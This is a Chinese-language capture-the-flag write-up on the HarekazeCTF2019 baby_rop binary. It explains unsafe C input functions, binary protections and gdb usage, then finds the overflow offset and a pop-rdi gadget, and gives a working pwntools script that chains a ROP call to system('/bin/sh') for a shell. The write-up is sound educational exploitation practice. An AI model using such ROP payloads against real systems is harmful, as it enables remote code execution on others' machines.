前言:
测试文件HarekazeCTF2019_baby_rop,一个典型的栈溢出
静态分析:
首先静态分析下代码,反汇编后可以看到如下代码
漏洞点很明显,位于第8行scanf方法
scanf函数称为格式输入函数,即按用户指定的格式从键盘上把数据输入到指定的变量之中。
为什么这么确定,这里就需要了解一些常见的存在溢出风险的函数,以下列出四个常见的存在风险的函数
-
gets(char *s)
:- 这个函数从标准输入读取一行数据,直到遇到换行符或文件结束符。
- 它没有检查输入数据的长度是否超过了目标缓冲区的大小,容易造成缓冲区溢出。
- 因此,
gets()
函数被认为是不安全的,已经在 C11 标准中弃用,应该改用更安全的fgets()
函数。
-
scanf(const char *format, ...)
:- 这个函数从标准输入读取数据,根据格式字符串进行解析。
- 如果格式字符串中使用了不安全的格式化指令,如
%s
没有指定最大长度,就可能导致缓冲区溢出。 - 应该使用更安全的
fgets()
或fscanf()
函数,并且格式化指令要指定最大长度。
-
strcpy(char *dest, const char *src)
和strcat(char *dest, const char *src)
:- 这两个函数分别用于复制和连接字符串,不会检查目标缓冲区的大小。
- 如果源字符串的长度超过了目标缓冲区,就会发生缓冲区溢出。
- 应该使用
strncpy()
和strncat()
函数,并指定最大复制/连接长度。
-
sprintf(char *str, const char *format, ...)
和vsprintf(char *str, const char *format, va_list ap)
:- 这些函数用于格式化输出字符串,不会检查目标缓冲区的大小。
- 如果格式化后的字符串长度超过了目标缓冲区,就会发生缓冲区溢出。
- 应该使用
snprintf()
和vsnprintf()
函数,并指定目标缓冲区的最大长度。
既然确定了风险点,就要确定如何利用,正常情况就是淹没返回值为我们的地址达到执行任意代码的方法,
这里有两种方法:
第一种简单点就是通过构造\bin\sh给system达到执行命令的方案
第二种就是直接将恶意代码放在栈中,然后跳转到栈中执行我们的恶意代码
第三种就是找到程序中存在可以执行命令的后门方法进行调用。
下面就根据动态分析和对程序安全策略分析来确定怎么处理
动态分析:
动态分析第一步就是看看到底用了什么保护策略
看下程序保护有NX,方案2不能使用,具体的安全策略解释如下:
- RELRO:RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表
- Stack:如果栈中开启Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过
- NX:NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,以前的经常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过
- PIE:PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,而如果没有开PIE的话那么No PIE (0x400000),括号内的数据就是程序的基地址
- Stripped 指的是从可执行文件中移除一些调试信息和符号信息,值为 Yes, 表示该二进制文件已经被 "stripped" 过,移除了一些调试信息
那我们就只能采用第一种构造rop利用system执行命令或者查看项目中是否存在后门方法可以直接利用
对内部方法分析发现没有函数内部存在调用命令执行方法函数,这样我们只能使用第一种方法
下面我们先看看我们需要淹没多少位才能控制eip
这里需要注意我这里使用pwndbg存在bug无法执行输入方法,不过不影响,修改.gdbinit不适用pwndbg,直接使用为加载插件的gdb一样
这里列一些常用的gdb命令
# 开始运行程序
(gdb) r/run
# 继续运行
(gdb) c/continue
# 下一行,不进入函数调用
(gdb) n/next
# 下一行,进入函数调用
(gdb) s/step
# ni和si区别同上
(gdb) ni/si
# 执行到返回
(gdb) finish
# 在第linenum行或function处设置断点
(gdb) b/break linenum/func
# 清楚指定断点
(gdb) delete 1
# 查看断点
(gdb) i b
# 观察值是否有变化
(gdb) watch <expr>
# 打印当前的啊还能输调用栈的所有信息
(gdb) bt/backtrace
# 当n为正数,打印栈顶n层。为负数,打印栈低n层
(gdb) bt/backtrace <n>
# 查看指定寄存器
(gdb) p $eip
# 查看指定地址内容
(gdb) print (char*) address
# 查看寄存器状态(除浮点寄存器)
(gdb) info registers
# 显示当前栈帧的详细信息
(gdb) info frame
# 查看指定地址汇编
(gdb) display/i $pc
(gdb) disassemble main
# 内存地址查找字符串
info proc mappings
find 0x601000 , 0x602000, "/bin/sh"
# 设置内容
set *0x7fffffffdf20=0x40121f
# 查看指定内存地址内容
x 按十六进制格式显示变量。
d 按十进制格式显示变量。
u 按十进制格式显示无符号整型。
o 按八进制格式显示变量。
t 按二进制格式显示变量。
a 按十六进制格式显示变量。
i 指令地址格式
c 按字符格式显示变量。
f 按浮点数格式显示变量。
b表示单字节,
h表示双字节,
w表示四字节,
g表示八字节
(gdb) x /50xg 0x7fffffffdc00
下面首先下断点到main方法: b main 或 b *0x4005da
为了只管的看到返回地址,我们直接在返回处设置断点,即 ret:b *0x40061a
下面查看下寄存器和栈信息,发现指向0x7fffffffdd08
这样可以打印下栈内容,这里需要向上多打印些:x /100xg 0x7fffffffdc00
可以看到返回地址为0x7fffffffdd08 -> 0x00007ffff7defc8a ,为返回地址
并且可以看到我们的输入地址为0x7fffffffdcf0,到0x7fffffffdd08
所以这里我们只要有超过24个字符就会破坏返回地址,那么如何构造我们的rop,这里需要了解linux64位的调用约定:
linux64位和32位虽然使用的都是 System V AMD64 ABI 调用约定,但是参数使用寄存器有区别
64位:前 6 个整型参数通过寄存器rdi、rsi、rdx、rcx、r8、r9传递。
32位:前 3 个参数分别存放在 ebx、ecx、edx 寄存器中。第 4 个及之后的参数需要压入栈中
所以我们调用任何方法,我都都需要将参数根据个数依次压入 rdi、rsi、rdx、rcx、r8、r9,对程序分析发现使用system是最简单,利用system只需要调用'/bin/sh'、'sh'、$(0)三个任意一个即可,这里我们对项目查看发现存在/bin/sh
strings -a -t x HarekazeCTF2019_baby_rop | grep bin
这里看到位于1048,这里为低地址,可以直接去ida里找对应的地址,或者去搜索
执行如下命令:
info proc mappings
find 0x601000 , 0x602000, "/bin/sh"
print (char*) 0x601048
可以看到0x601048地址下为字符串/bin/sh
下面就要找到对应的rop,由于我们利用的是system方法,只要找到设置rdi值为0x601048的rop链就好,这里使用rop找pop的指令
0x0000000000400683符合我们的需要,直接pop栈内容到rdi然后ret结束,下面我们可以构造我们的调用方法,具体过程如下:
- 首先溢出返回地址到rop地址,即0x0000000000400683
- 执行0x0000000000400683代码会pop rdi,会把我们输入内容pop到rdi,这里我们需要pop的地址为0x601048
- 最后执行ret,这个时候我们需要调用的地址为system,即0x004005e3,就可以利用system
下面我们根据上述构造我们的代码如下:
from pwn import *
#context.log_level = 'debug'
pop_rdi_ret = 0x400683
bin_sh_addr = 0x601048
system_addr = 0x4005e3
payload = b'a' * 24 + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
#p = process('./HarekazeCTF2019_baby_rop')
p = remote('127.0.0.1', 10000)
p.recvuntil('name? ')
p.sendline(payload)
p.interactive()
创建转发
socat tcp-listen:10000,reuseaddr,fork EXEC:./HarekazeCTF2019_baby_rop,pty,raw,echo=0
执行poc成功获取shell
结尾:
一个很典型的栈溢出例子,只是简单的不会设置 NX,那样直接可以将攻击代码放在栈中,然后返回地址到栈即可,但是这里开启了NX,我们只能使用rop找到一个跳转地址通过system达到执行命令获取shell的目的